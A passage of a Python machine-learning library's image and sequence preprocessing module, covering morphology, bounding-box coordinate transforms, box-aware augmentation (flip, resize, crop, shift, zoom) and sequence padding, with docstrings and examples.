img_size = x.shape x = np.multiply(x, np.random.binomial(n=1, p=keep, size=img_size)) else: raise Exception("Unsupported shape {}".format(x.shape)) return x # x = np.asarray([[1,2,3,4,5,6,7,8,9,10],[1,2,3,4,5,6,7,8,9,10]]) # x = np.asarray([x,x,x,x,x,x]) # x.shape = 10, 4, 3 # tl.logging.info(x) # # exit() # tl.logging.info(x.shape) # # exit() # tl.logging.info(drop(x, keep=1.)) # exit() # Numpy and PIL def array_to_img(x, dim_ordering=(0, 1, 2), scale=True): """Converts a numpy array to PIL image object (uint8 format). Parameters ---------- x : numpy.array An image with dimension of 3 and channels of 1 or 3. dim_ordering : tuple of 3 int Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0). scale : boolean If True, converts image to [0, 255] from any range of value like [-1, 2]. Default is True. Returns ------- PIL.image An image. References ----------- `PIL Image.fromarray <http://pillow.readthedocs.io/en/3.1.x/reference/Image.html?highlight=fromarray>`__ """ # if dim_ordering == 'default': # dim_ordering = K.image_dim_ordering() # if dim_ordering == 'th': # theano # x = x.transpose(1, 2, 0) x = x.transpose(dim_ordering) if scale: x += max(-np.min(x), 0) x_max = np.max(x) if x_max != 0: # tl.logging.info(x_max) # x /= x_max x = x / x_max x *= 255 if x.shape[2] == 3: # RGB return PIL.Image.fromarray(x.astype('uint8'), 'RGB') elif x.shape[2] == 1: # grayscale return PIL.Image.fromarray(x[:, :, 0].astype('uint8'), 'L') else: raise Exception('Unsupported channel number: ', x.shape[2]) def find_contours(x, level=0.8, fully_connected='low', positive_orientation='low'): """Find iso-valued contours in a 2D array for a given level value, returns list of (n, 2)-ndarrays see `skimage.measure.find_contours <http://scikit-image.org/docs/dev/api/skimage.measure.html#skimage.measure.find_contours>`__. Parameters ------------ x : 2D ndarray of double. Input data in which to find contours. level : float Value along which to find contours in the array. fully_connected : str Either `low` or `high`. Indicates whether array elements below the given level value are to be considered fully-connected (and hence elements above the value will only be face connected), or vice-versa. (See notes below for details.) positive_orientation : str Either `low` or `high`. Indicates whether the output contours will produce positively-oriented polygons around islands of low- or high-valued elements. If `low` then contours will wind counter-clockwise around elements below the iso-value. Alternately, this means that low-valued elements are always on the left of the contour. Returns -------- list of (n,2)-ndarrays Each contour is an ndarray of shape (n, 2), consisting of n (row, column) coordinates along the contour. """ return skimage.measure.find_contours( x, level, fully_connected=fully_connected, positive_orientation=positive_orientation ) def pt2map(list_points=None, size=(100, 100), val=1): """Inputs a list of points, return a 2D image. Parameters -------------- list_points : list of 2 int [[x, y], [x, y]..] for point coordinates. size : tuple of 2 int (w, h) for output size. val : float or int For the contour value. Returns ------- numpy.array An image. """ if list_points is None: raise Exception("list_points : list of 2 int") i_m = np.zeros(size) if len(list_points) == 0: return i_m for xx in list_points: for x in xx: # tl.logging.info(x) i_m[int(np.round(x[0]))][int(np.round(x[1]))] = val return i_m def binary_dilation(x, radius=3): """Return fast binary morphological dilation of an image. see `skimage.morphology.binary_dilation <http://scikit-image.org/docs/dev/api/skimage.morphology.html#skimage.morphology.binary_dilation>`__. Parameters ----------- x : 2D array A binary image. radius : int For the radius of mask. Returns ------- numpy.array A processed binary image. """ mask = disk(radius) x = _binary_dilation(x, selem=mask) return x def dilation(x, radius=3): """Return greyscale morphological dilation of an image, see `skimage.morphology.dilation <http://scikit-image.org/docs/dev/api/skimage.morphology.html#skimage.morphology.dilation>`__. Parameters ----------- x : 2D array An greyscale image. radius : int For the radius of mask. Returns ------- numpy.array A processed greyscale image. """ mask = disk(radius) x = dilation(x, selem=mask) return x def binary_erosion(x, radius=3): """Return binary morphological erosion of an image, see `skimage.morphology.binary_erosion <http://scikit-image.org/docs/dev/api/skimage.morphology.html#skimage.morphology.binary_erosion>`__. Parameters ----------- x : 2D array A binary image. radius : int For the radius of mask. Returns ------- numpy.array A processed binary image. """ mask = disk(radius) x = _binary_erosion(x, selem=mask) return x def erosion(x, radius=3): """Return greyscale morphological erosion of an image, see `skimage.morphology.erosion <http://scikit-image.org/docs/dev/api/skimage.morphology.html#skimage.morphology.erosion>`__. Parameters ----------- x : 2D array A greyscale image. radius : int For the radius of mask. Returns ------- numpy.array A processed greyscale image. """ mask = disk(radius) x = _erosion(x, selem=mask) return x def obj_box_coords_rescale(coords=None, shape=None): """Scale down a list of coordinates from pixel unit to the ratio of image size i.e. in the range of [0, 1]. Parameters ------------ coords : list of list of 4 ints or None For coordinates of more than one images .e.g.[[x, y, w, h], [x, y, w, h], ...]. shape : list of 2 int or None 【height, width]. Returns ------- list of list of 4 numbers A list of new bounding boxes. Examples --------- >>> coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50], [10, 10, 20, 20]], shape=[100, 100]) >>> print(coords) [[0.3, 0.4, 0.5, 0.5], [0.1, 0.1, 0.2, 0.2]] >>> coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50]], shape=[50, 100]) >>> print(coords) [[0.3, 0.8, 0.5, 1.0]] >>> coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50]], shape=[100, 200]) >>> print(coords) [[0.15, 0.4, 0.25, 0.5]] Returns ------- list of 4 numbers New coordinates. """ if coords is None: coords = [] if shape is None: shape = [100, 200] imh, imw = shape[0], shape[1] imh = imh * 1.0 # * 1.0 for python2 : force division to be float point imw = imw * 1.0 coords_new = list() for coord in coords: if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") x = coord[0] / imw y = coord[1] / imh w = coord[2] / imw h = coord[3] / imh coords_new.append([x, y, w, h]) return coords_new def obj_box_coord_rescale(coord=None, shape=None): """Scale down one coordinates from pixel unit to the ratio of image size i.e. in the range of [0, 1]. It is the reverse process of ``obj_box_coord_scale_to_pixelunit``. Parameters ------------ coords : list of 4 int or None One coordinates of one image e.g. [x, y, w, h]. shape : list of 2 int or None For [height, width]. Returns ------- list of 4 numbers New bounding box. Examples --------- >>> coord = tl.prepro.obj_box_coord_rescale(coord=[30, 40, 50, 50], shape=[100, 100]) [0.3, 0.4, 0.5, 0.5] """ if coord is None: coord = [] if shape is None: shape = [100, 200] return obj_box_coords_rescale(coords=[coord], shape=shape)[0] def obj_box_coord_scale_to_pixelunit(coord, shape=None): """Convert one coordinate [x, y, w (or x2), h (or y2)] in ratio format to image coordinate format. It is the reverse process of ``obj_box_coord_rescale``. Parameters ----------- coord : list of 4 float One coordinate of one image [x, y, w (or x2), h (or y2)] in ratio format, i.e value range [0~1]. shape : tuple of 2 or None For [height, width]. Returns ------- list of 4 numbers New bounding box. Examples --------- >>> x, y, x2, y2 = tl.prepro.obj_box_coord_scale_to_pixelunit([0.2, 0.3, 0.5, 0.7], shape=(100, 200, 3)) [40, 30, 100, 70] """ if shape is None: shape = [100, 100] imh, imw = shape[0:2] x = int(coord[0] * imw) x2 = int(coord[2] * imw) y = int(coord[1] * imh) y2 = int(coord[3] * imh) return [x, y, x2, y2] # coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50], [10, 10, 20, 20]], shape=[100, 100]) # tl.logging.info(coords) # # [[0.3, 0.4, 0.5, 0.5], [0.1, 0.1, 0.2, 0.2]] # coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50]], shape=[50, 100]) # tl.logging.info(coords) # # [[0.3, 0.8, 0.5, 1.0]] # coords = obj_box_coords_rescale(coords=[[30, 40, 50, 50]], shape=[100, 200]) # tl.logging.info(coords) # # [[0.15, 0.4, 0.25, 0.5]] # exit() def obj_box_coord_centroid_to_upleft_butright(coord, to_int=False): """Convert one coordinate [x_center, y_center, w, h] to [x1, y1, x2, y2] in up-left and botton-right format. Parameters ------------ coord : list of 4 int/float One coordinate. to_int : boolean Whether to convert output as integer. Returns ------- list of 4 numbers New bounding box. Examples --------- >>> coord = obj_box_coord_centroid_to_upleft_butright([30, 40, 20, 20]) [20, 30, 40, 50] """ if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") x_center, y_center, w, h = coord x = x_center - w / 2. y = y_center - h / 2. x2 = x + w y2 = y + h if to_int: return [int(x), int(y), int(x2), int(y2)] else: return [x, y, x2, y2] # coord = obj_box_coord_centroid_to_upleft_butright([30, 40, 20, 20]) # tl.logging.info(coord) [20, 30, 40, 50] # exit() def obj_box_coord_upleft_butright_to_centroid(coord): """Convert one coordinate [x1, y1, x2, y2] to [x_center, y_center, w, h]. It is the reverse process of ``obj_box_coord_centroid_to_upleft_butright``. Parameters ------------ coord : list of 4 int/float One coordinate. Returns ------- list of 4 numbers New bounding box. """ if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x1, y1, x2, y2]") x1, y1, x2, y2 = coord w = x2 - x1 h = y2 - y1 x_c = x1 + w / 2. y_c = y1 + h / 2. return [x_c, y_c, w, h] def obj_box_coord_centroid_to_upleft(coord): """Convert one coordinate [x_center, y_center, w, h] to [x, y, w, h]. It is the reverse process of ``obj_box_coord_upleft_to_centroid``. Parameters ------------ coord : list of 4 int/float One coordinate. Returns ------- list of 4 numbers New bounding box. """ if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") x_center, y_center, w, h = coord x = x_center - w / 2. y = y_center - h / 2. return [x, y, w, h] def obj_box_coord_upleft_to_centroid(coord): """Convert one coordinate [x, y, w, h] to [x_center, y_center, w, h]. It is the reverse process of ``obj_box_coord_centroid_to_upleft``. Parameters ------------ coord : list of 4 int/float One coordinate. Returns ------- list of 4 numbers New bounding box. """ if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") x, y, w, h = coord x_center = x + w / 2. y_center = y + h / 2. return [x_center, y_center, w, h] def parse_darknet_ann_str_to_list(annotations): r"""Input string format of class, x, y, w, h, return list of list format. Parameters ----------- annotations : str The annotations in darkent format "class, x, y, w, h ...." seperated by "\\n". Returns ------- list of list of 4 numbers List of bounding box. """ annotations = annotations.split("\n") ann = [] for a in annotations: a = a.split() if len(a) == 5: for i, _v in enumerate(a): if i == 0: a[i] = int(a[i]) else: a[i] = float(a[i]) ann.append(a) return ann def parse_darknet_ann_list_to_cls_box(annotations): """Parse darknet annotation format into two lists for class and bounding box. Input list of [[class, x, y, w, h], ...], return two list of [class ...] and [[x, y, w, h], ...]. Parameters ------------ annotations : list of list A list of class and bounding boxes of images e.g. [[class, x, y, w, h], ...] Returns ------- list of int List of class labels. list of list of 4 numbers List of bounding box. """ class_list = [] bbox_list = [] for ann in annotations: class_list.append(ann[0]) bbox_list.append(ann[1:]) return class_list, bbox_list def obj_box_horizontal_flip(im, coords=None, is_rescale=False, is_center=False, is_random=False): """Left-right flip the image and coordinates for object detection. Parameters ---------- im : numpy.array An image with dimension of [row, col, channel] (default). coords : list of list of 4 int/float or None Coordinates [[x, y, w, h], [x, y, w, h], ...]. is_rescale : boolean Set to True, if the input coordinates are rescaled to [0, 1]. Default is False. is_center : boolean Set to True, if the x and y of coordinates are the centroid (i.e. darknet format). Default is False. is_random : boolean If True, randomly flip. Default is False. Returns ------- numpy.array A processed image list of list of 4 numbers A list of new bounding boxes. Examples -------- >>> im = np.zeros([80, 100]) # as an image with shape width=100, height=80 >>> im, coords = obj_box_left_right_flip(im, coords=[[0.2, 0.4, 0.3, 0.3], [0.1, 0.5, 0.2, 0.3]], is_rescale=True, is_center=True, is_random=False) >>> print(coords) [[0.8, 0.4, 0.3, 0.3], [0.9, 0.5, 0.2, 0.3]] >>> im, coords = obj_box_left_right_flip(im, coords=[[0.2, 0.4, 0.3, 0.3]], is_rescale=True, is_center=False, is_random=False) >>> print(coords) [[0.5, 0.4, 0.3, 0.3]] >>> im, coords = obj_box_left_right_flip(im, coords=[[20, 40, 30, 30]], is_rescale=False, is_center=True, is_random=False) >>> print(coords) [[80, 40, 30, 30]] >>> im, coords = obj_box_left_right_flip(im, coords=[[20, 40, 30, 30]], is_rescale=False, is_center=False, is_random=False) >>> print(coords) [[50, 40, 30, 30]] """ if coords is None: coords = [] def _flip(im, coords): im = flip_axis(im, axis=1, is_random=False) coords_new = list() for coord in coords: if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") if is_rescale: if is_center: # x_center' = 1 - x x = 1. - coord[0] else: # x_center' = 1 - x - w x = 1. - coord[0] - coord[2] else: if is_center: # x' = im.width - x x = im.shape[1] - coord[0] else: # x' = im.width - x - w x = im.shape[1] - coord[0] - coord[2] coords_new.append([x, coord[1], coord[2], coord[3]]) return im, coords_new if is_random: factor = np.random.uniform(-1, 1) if factor > 0: return _flip(im, coords) else: return im, coords else: return _flip(im, coords) obj_box_left_right_flip = obj_box_horizontal_flip # im = np.zeros([80, 100]) # as an image with shape width=100, height=80 # im, coords = obj_box_left_right_flip(im, coords=[[0.2, 0.4, 0.3, 0.3], [0.1, 0.5, 0.2, 0.3]], is_rescale=True, is_center=True, is_random=False) # tl.logging.info(coords) # # [[0.8, 0.4, 0.3, 0.3], [0.9, 0.5, 0.2, 0.3]] # im, coords = obj_box_left_right_flip(im, coords=[[0.2, 0.4, 0.3, 0.3]], is_rescale=True, is_center=False, is_random=False) # tl.logging.info(coords) # # [[0.5, 0.4, 0.3, 0.3]] # im, coords = obj_box_left_right_flip(im, coords=[[20, 40, 30, 30]], is_rescale=False, is_center=True, is_random=False) # tl.logging.info(coords) # # [[80, 40, 30, 30]] # im, coords = obj_box_left_right_flip(im, coords=[[20, 40, 30, 30]], is_rescale=False, is_center=False, is_random=False) # tl.logging.info(coords) # # [[50, 40, 30, 30]] # exit() def obj_box_imresize(im, coords=None, size=None, interp='bicubic', mode=None, is_rescale=False): """Resize an image, and compute the new bounding box coordinates. Parameters ------------- im : numpy.array An image with dimension of [row, col, channel] (default). coords : list of list of 4 int/float or None Coordinates [[x, y, w, h], [x, y, w, h], ...] size interp and mode : args See ``tl.prepro.imresize``. is_rescale : boolean Set to True, if the input coordinates are rescaled to [0, 1], then return the original coordinates. Default is False. Returns ------- numpy.array A processed image list of list of 4 numbers A list of new bounding boxes. Examples -------- >>> im = np.zeros([80, 100, 3]) # as an image with shape width=100, height=80 >>> _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30], [10, 20, 20, 20]], size=[160, 200], is_rescale=False) >>> print(coords) [[40, 80, 60, 60], [20, 40, 40, 40]] >>> _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30]], size=[40, 100], is_rescale=False) >>> print(coords) [[20, 20, 30, 15]] >>> _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30]], size=[60, 150], is_rescale=False) >>> print(coords) [[30, 30, 45, 22]] >>> im2, coords = obj_box_imresize(im, coords=[[0.2, 0.4, 0.3, 0.3]], size=[160, 200], is_rescale=True) >>> print(coords, im2.shape) [[0.2, 0.4, 0.3, 0.3]] (160, 200, 3) """ if coords is None: coords = [] if size is None: size = [100, 100] imh, imw = im.shape[0:2] imh = imh * 1.0 # * 1.0 for python2 : force division to be float point imw = imw * 1.0 im = imresize(im, size=size, interp=interp, mode=mode) if is_rescale is False: coords_new = list() for coord in coords: if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") # x' = x * (imw'/imw) x = int(coord[0] * (size[1] / imw)) # y' = y * (imh'/imh) # tl.logging.info('>>', coord[1], size[0], imh) y = int(coord[1] * (size[0] / imh)) # w' = w * (imw'/imw) w = int(coord[2] * (size[1] / imw)) # h' = h * (imh'/imh) h = int(coord[3] * (size[0] / imh)) coords_new.append([x, y, w, h]) return im, coords_new else: return im, coords # im = np.zeros([80, 100, 3]) # as an image with shape width=100, height=80 # _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30], [10, 20, 20, 20]], size=[160, 200], is_rescale=False) # tl.logging.info(coords) # # [[40, 80, 60, 60], [20, 40, 40, 40]] # _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30]], size=[40, 100], is_rescale=False) # tl.logging.info(coords) # # [20, 20, 30, 15] # _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30]], size=[60, 150], is_rescale=False) # tl.logging.info(coords) # # [30, 30, 45, 22] # im2, coords = obj_box_imresize(im, coords=[[0.2, 0.4, 0.3, 0.3]], size=[160, 200], is_rescale=True) # tl.logging.info(coords, im2.shape) # # [0.2, 0.4, 0.3, 0.3] (160, 200, 3) # exit() def obj_box_crop( im, classes=None, coords=None, wrg=100, hrg=100, is_rescale=False, is_center=False, is_random=False, thresh_wh=0.02, thresh_wh2=12. ): """Randomly or centrally crop an image, and compute the new bounding box coordinates. Objects outside the cropped image will be removed. Parameters ----------- im : numpy.array An image with dimension of [row, col, channel] (default). classes : list of int or None Class IDs. coords : list of list of 4 int/float or None Coordinates [[x, y, w, h], [x, y, w, h], ...] wrg hrg and is_random : args See ``tl.prepro.crop``. is_rescale : boolean Set to True, if the input coordinates are rescaled to [0, 1]. Default is False. is_center : boolean, default False Set to True, if the x and y of coordinates are the centroid (i.e. darknet format). Default is False. thresh_wh : float Threshold, remove the box if its ratio of width(height) to image size less than the threshold. thresh_wh2 : float Threshold, remove the box if its ratio of width to height or vice verse higher than the threshold. Returns ------- numpy.array A processed image list of int A list of classes list of list of 4 numbers A list of new bounding boxes. """ if classes is None: classes = [] if coords is None: coords = [] h, w = im.shape[0], im.shape[1] if (h <= hrg) or (w <= wrg): raise AssertionError("The size of cropping should smaller than the original image") if is_random: h_offset = int(np.random.uniform(0, h - hrg) - 1) w_offset = int(np.random.uniform(0, w - wrg) - 1) h_end = hrg + h_offset w_end = wrg + w_offset im_new = im[h_offset:h_end, w_offset:w_end] else: # central crop h_offset = int(np.floor((h - hrg) / 2.)) w_offset = int(np.floor((w - wrg) / 2.)) h_end = h_offset + hrg w_end = w_offset + wrg im_new = im[h_offset:h_end, w_offset:w_end] # w # _____________________________ # | h/w offset | # | ------- | # h | | | | # | | | | # | ------- | # | h/w end | # |___________________________| def _get_coord(coord): """Input pixel-unit [x, y, w, h] format, then make sure [x, y] it is the up-left coordinates, before getting the new coordinates. Boxes outsides the cropped image will be removed. """ if is_center: coord = obj_box_coord_centroid_to_upleft(coord) ##======= pixel unit format and upleft, w, h ==========## # x = np.clip( coord[0] - w_offset, 0, w_end - w_offset) # y = np.clip( coord[1] - h_offset, 0, h_end - h_offset) # w = np.clip( coord[2] , 0, w_end - w_offset) # h = np.clip( coord[3] , 0, h_end - h_offset) x = coord[0] - w_offset y = coord[1] - h_offset w = coord[2] h = coord[3] if x < 0: if x + w <= 0: return None w = w + x x = 0 elif x > im_new.shape[1]: # object outside the cropped image return None if y < 0: if y + h <= 0: return None h = h + y y = 0 elif y > im_new.shape[0]: # object outside the cropped image return None if (x is not None) and (x + w > im_new.shape[1]): # box outside the cropped image w = im_new.shape[1] - x if (y is not None) and (y + h > im_new.shape[0]): # box outside the cropped image h = im_new.shape[0] - y if (w / (h + 1.) > thresh_wh2) or (h / (w + 1.) > thresh_wh2): # object shape strange: too narrow # tl.logging.info('xx', w, h) return None if (w / (im_new.shape[1] * 1.) < thresh_wh) or (h / (im_new.shape[0] * 1.) < thresh_wh): # object shape strange: too narrow # tl.logging.info('yy', w, im_new.shape[1], h, im_new.shape[0]) return None coord = [x, y, w, h] ## convert back if input format is center. if is_center: coord = obj_box_coord_upleft_to_centroid(coord) return coord coords_new = list() classes_new = list() for i, _ in enumerate(coords): coord = coords[i] if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") if is_rescale: # for scaled coord, upscaled before process and scale back in the end. coord = obj_box_coord_scale_to_pixelunit(coord, im.shape) coord = _get_coord(coord) if coord is not None: coord = obj_box_coord_rescale(coord, im_new.shape) coords_new.append(coord) classes_new.append(classes[i]) else: coord = _get_coord(coord) if coord is not None: coords_new.append(coord) classes_new.append(classes[i]) return im_new, classes_new, coords_new def obj_box_shift( im, classes=None, coords=None, wrg=0.1, hrg=0.1, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1, is_rescale=False, is_center=False, is_random=False, thresh_wh=0.02, thresh_wh2=12. ): """Shift an image randomly or non-randomly, and compute the new bounding box coordinates. Objects outside the cropped image will be removed. Parameters ----------- im : numpy.array An image with dimension of [row, col, channel] (default). classes : list of int or None Class IDs. coords : list of list of 4 int/float or None Coordinates [[x, y, w, h], [x, y, w, h], ...] wrg, hrg row_index col_index channel_index is_random fill_mode cval and order : see ``tl.prepro.shift``. is_rescale : boolean Set to True, if the input coordinates are rescaled to [0, 1]. Default is False. is_center : boolean Set to True, if the x and y of coordinates are the centroid (i.e. darknet format). Default is False. thresh_wh : float Threshold, remove the box if its ratio of width(height) to image size less than the threshold. thresh_wh2 : float Threshold, remove the box if its ratio of width to height or vice verse higher than the threshold. Returns ------- numpy.array A processed image list of int A list of classes list of list of 4 numbers A list of new bounding boxes. """ if classes is None: classes = [] if coords is None: coords = [] imh, imw = im.shape[row_index], im.shape[col_index] if (hrg >= 1.0) and (hrg <= 0.) and (wrg >= 1.0) and (wrg <= 0.): raise AssertionError("shift range should be (0, 1)") if is_random: tx = np.random.uniform(-hrg, hrg) * imh ty = np.random.uniform(-wrg, wrg) * imw else: tx, ty = hrg * imh, wrg * imw translation_matrix = np.array([[1, 0, tx], [0, 1, ty], [0, 0, 1]]) transform_matrix = translation_matrix # no need to do offset im_new = affine_transform(im, transform_matrix, channel_index, fill_mode, cval, order) # modified from obj_box_crop def _get_coord(coord): """Input pixel-unit [x, y, w, h] format, then make sure [x, y] it is the up-left coordinates, before getting the new coordinates. Boxes outsides the cropped image will be removed. """ if is_center: coord = obj_box_coord_centroid_to_upleft(coord) ##======= pixel unit format and upleft, w, h ==========## x = coord[0] - ty # only change this y = coord[1] - tx # only change this w = coord[2] h = coord[3] if x < 0: if x + w <= 0: return None w = w + x x = 0 elif x > im_new.shape[1]: # object outside the cropped image return None if y < 0: if y + h <= 0: return None h = h + y y = 0 elif y > im_new.shape[0]: # object outside the cropped image return None if (x is not None) and (x + w > im_new.shape[1]): # box outside the cropped image w = im_new.shape[1] - x if (y is not None) and (y + h > im_new.shape[0]): # box outside the cropped image h = im_new.shape[0] - y if (w / (h + 1.) > thresh_wh2) or (h / (w + 1.) > thresh_wh2): # object shape strange: too narrow # tl.logging.info('xx', w, h) return None if (w / (im_new.shape[1] * 1.) < thresh_wh) or (h / (im_new.shape[0] * 1.) < thresh_wh): # object shape strange: too narrow # tl.logging.info('yy', w, im_new.shape[1], h, im_new.shape[0]) return None coord = [x, y, w, h] ## convert back if input format is center. if is_center: coord = obj_box_coord_upleft_to_centroid(coord) return coord coords_new = list() classes_new = list() for i, _ in enumerate(coords): coord = coords[i] if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") if is_rescale: # for scaled coord, upscaled before process and scale back in the end. coord = obj_box_coord_scale_to_pixelunit(coord, im.shape) coord = _get_coord(coord) if coord is not None: coord = obj_box_coord_rescale(coord, im_new.shape) coords_new.append(coord) classes_new.append(classes[i]) else: coord = _get_coord(coord) if coord is not None: coords_new.append(coord) classes_new.append(classes[i]) return im_new, classes_new, coords_new def obj_box_zoom( im, classes=None, coords=None, zoom_range=(0.9, 1.1), row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1, is_rescale=False, is_center=False, is_random=False, thresh_wh=0.02, thresh_wh2=12. ): """Zoom in and out of a single image, randomly or non-randomly, and compute the new bounding box coordinates. Objects outside the cropped image will be removed. Parameters ----------- im : numpy.array An image with dimension of [row, col, channel] (default). classes : list of int or None Class IDs. coords : list of list of 4 int/float or None Coordinates [[x, y, w, h], [x, y, w, h], ...]. zoom_range row_index col_index channel_index is_random fill_mode cval and order : see ``tl.prepro.zoom``. is_rescale : boolean Set to True, if the input coordinates are rescaled to [0, 1]. Default is False. is_center : boolean Set to True, if the x and y of coordinates are the centroid. (i.e. darknet format). Default is False. thresh_wh : float Threshold, remove the box if its ratio of width(height) to image size less than the threshold. thresh_wh2 : float Threshold, remove the box if its ratio of width to height or vice verse higher than the threshold. Returns ------- numpy.array A processed image list of int A list of classes list of list of 4 numbers A list of new bounding boxes. """ if classes is None: classes = [] if coords is None: coords = [] if len(zoom_range) != 2: raise Exception('zoom_range should be a tuple or list of two floats. ' 'Received arg: ', zoom_range) if is_random: if zoom_range[0] == 1 and zoom_range[1] == 1: zx, zy = 1, 1 tl.logging.info(" random_zoom : not zoom in/out") else: zx, zy = np.random.uniform(zoom_range[0], zoom_range[1], 2) else: zx, zy = zoom_range # tl.logging.info(zx, zy) zoom_matrix = np.array([[zx, 0, 0], [0, zy, 0], [0, 0, 1]]) h, w = im.shape[row_index], im.shape[col_index] transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w) im_new = affine_transform(im, transform_matrix, channel_index, fill_mode, cval, order) # modified from obj_box_crop def _get_coord(coord): """Input pixel-unit [x, y, w, h] format, then make sure [x, y] it is the up-left coordinates, before getting the new coordinates. Boxes outsides the cropped image will be removed. """ if is_center: coord = obj_box_coord_centroid_to_upleft(coord) # ======= pixel unit format and upleft, w, h ========== x = (coord[0] - im.shape[1] / 2) / zy + im.shape[1] / 2 # only change this y = (coord[1] - im.shape[0] / 2) / zx + im.shape[0] / 2 # only change this w = coord[2] / zy # only change this h = coord[3] / zx # only change thisS if x < 0: if x + w <= 0: return None w = w + x x = 0 elif x > im_new.shape[1]: # object outside the cropped image return None if y < 0: if y + h <= 0: return None h = h + y y = 0 elif y > im_new.shape[0]: # object outside the cropped image return None if (x is not None) and (x + w > im_new.shape[1]): # box outside the cropped image w = im_new.shape[1] - x if (y is not None) and (y + h > im_new.shape[0]): # box outside the cropped image h = im_new.shape[0] - y if (w / (h + 1.) > thresh_wh2) or (h / (w + 1.) > thresh_wh2): # object shape strange: too narrow # tl.logging.info('xx', w, h) return None if (w / (im_new.shape[1] * 1.) < thresh_wh) or (h / (im_new.shape[0] * 1.) < thresh_wh): # object shape strange: too narrow # tl.logging.info('yy', w, im_new.shape[1], h, im_new.shape[0]) return None coord = [x, y, w, h] # convert back if input format is center. if is_center: coord = obj_box_coord_upleft_to_centroid(coord) return coord coords_new = list() classes_new = list() for i, _ in enumerate(coords): coord = coords[i] if len(coord) != 4: raise AssertionError("coordinate should be 4 values : [x, y, w, h]") if is_rescale: # for scaled coord, upscaled before process and scale back in the end. coord = obj_box_coord_scale_to_pixelunit(coord, im.shape) coord = _get_coord(coord) if coord is not None: coord = obj_box_coord_rescale(coord, im_new.shape) coords_new.append(coord) classes_new.append(classes[i]) else: coord = _get_coord(coord) if coord is not None: coords_new.append(coord) classes_new.append(classes[i]) return im_new, classes_new, coords_new def pad_sequences(sequences, maxlen=None, dtype='int32', padding='post', truncating='pre', value=0.): """Pads each sequence to the same length: the length of the longest sequence. If maxlen is provided, any sequence longer than maxlen is truncated to maxlen. Truncation happens off either the beginning (default) or the end of the sequence. Supports post-padding and pre-padding (default). Parameters ---------- sequences : list of list of int All sequences where each row is a sequence. maxlen : int Maximum length. dtype : numpy.dtype or str Data type to cast the resulting sequence. padding : str Either 'pre' or 'post', pad either before or after each sequence. truncating : str Either 'pre' or 'post', remove values from sequences larger than maxlen either in the beginning or in the end of the sequence value : float Value to pad the sequences to the desired value. Returns ---------- x : numpy.array With dimensions (number_of_sequences, maxlen) Examples ---------- >>> sequences = [[1,1,1,1,1],[2,2,2],[3,3]] >>> sequences = pad_sequences(sequences, maxlen=None, dtype='int32', ... padding='post', truncating='pre', value=0.) [[1 1 1 1 1] [2 2 2 0 0] [3 3 0 0 0]] """ lengths = [len(s) for s in sequences] nb_samples = len(sequences) if maxlen is None: maxlen = np.max(lengths) # take the sample shape from the first non empty sequence # checking for consistency in the main loop below. sample_shape = tuple() for s in sequences: if len(s) > 0: sample_shape = np.asarray(s).shape[1:] break x = (np.ones((nb_samples, maxlen) + sample_shape) * value).astype(dtype) for idx, s in enumerate(sequences): if len(s) == 0: continue # empty list was found if truncating == 'pre': trunc = s[-maxlen:] elif truncating == 'post': trunc = s[:maxlen] else: raise ValueError('Truncating type "%s" not understood' % truncating) # check `trunc` has expected shape trunc = np.asarray(trunc, dtype=dtype) if trunc.shape[1:] != sample_shape: raise ValueError( 'Shape of sample %s of sequence at position %s is different from expected shape %s' % (trunc.shape[1:], idx, sample_shape) ) if padding == 'post': x[idx, :len(trunc)] = trunc elif padding == 'pre': x[idx, -len(trunc):] = trunc else: raise ValueError('Padding type "%s" not understood' % padding) return x.tolist() def remove_pad_sequences(sequences, pad_id=0): """Remove padding. Parameters ----------- sequences : list of list of int All sequences where each row is a sequence. pad_id : int The pad ID. Returns ---------- list of list of int The processed sequences. Examples ---------- >>> sequences = [[2,3,4,0,0], [5,1,2,3,4,0,0,0], [4,5,0,2,4,0,0,0]] >>> print(remove_pad_sequences(sequences, pad_id=0)) [[2, 3, 4], [5, 1, 2, 3, 4], [4, 5, 0, 2, 4]] """ sequences_out = copy.deepcopy(sequences) for i, _ in enumerate(sequences): # for j in range(len(sequences[i])): # if sequences[i][j] == pad_id: # sequences_out[i] = sequences_out[i][:j] # break for j in range(1, len(sequences[i])): if sequences[i][-j] != pad_id: sequences_out[i] = sequences_out[i][0:-j + 1] break return sequences_out def process_sequences(sequences, end_id=0, pad_val=0, is_shorten=True, remain_end_id=False): """Set all tokens(ids) after END token to the padding value, and then shorten (option) it to the maximum sequence length in this batch. Parameters ----------- sequences : list of list of int All sequences where each row is a sequence. end_id : int The special token for END. pad_val : int Replace the `end_id` and the IDs after `end_id` to this value. is_shorten : boolean Shorten the sequences. Default is True. remain_end_id : boolean Keep an `end_id` in the end. Default is False. Returns ---------- list of list of int The processed sequences. Examples --------- >>> sentences_ids = [[4, 3, 5, 3, 2, 2, 2, 2], <-- end_id is 2 ... [5, 3, 9, 4, 9, 2, 2, 3]] <-- end_id is 2 >>> sentences_ids = precess_sequences(sentences_ids, end_id=vocab.end_id, pad_val=0, is_shorten=True) [[4, 3, 5, 3, 0], [5, 3, 9, 4, 9]] """ max_length = 0 for _, seq in 